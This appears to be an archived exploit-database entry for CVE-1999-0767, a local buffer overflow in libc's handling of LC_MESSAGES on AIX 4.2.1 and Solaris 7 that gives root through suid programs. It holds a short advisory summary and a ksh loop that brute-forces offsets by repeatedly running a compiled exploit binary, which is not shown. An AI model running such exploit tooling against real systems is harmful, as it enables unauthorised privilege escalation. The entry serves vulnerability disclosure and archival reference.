IBM AIX 4.2.1 / Sun Solaris 7.0 - LC_MESSAGES libc Buffer Overflow (1)
Author: UNYUN@ShadowPenguinSecurity type: local platform: aix port: date_added: 1999-05-22 date_updated: 2014-01-02 verified: 1 codes: CVE-1999-0767;OSVDB-6993 tags: aliases: screenshot_url: application_url: raw file: 19213.sh
source: https://www.securityfocus.com/bid/268/info A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges. #!/bin/ksh L=3000 STEP=34 MAX=16000 while [ $L -lt $MAX ] do ./a.out $L L=`expr $L + $STEP` done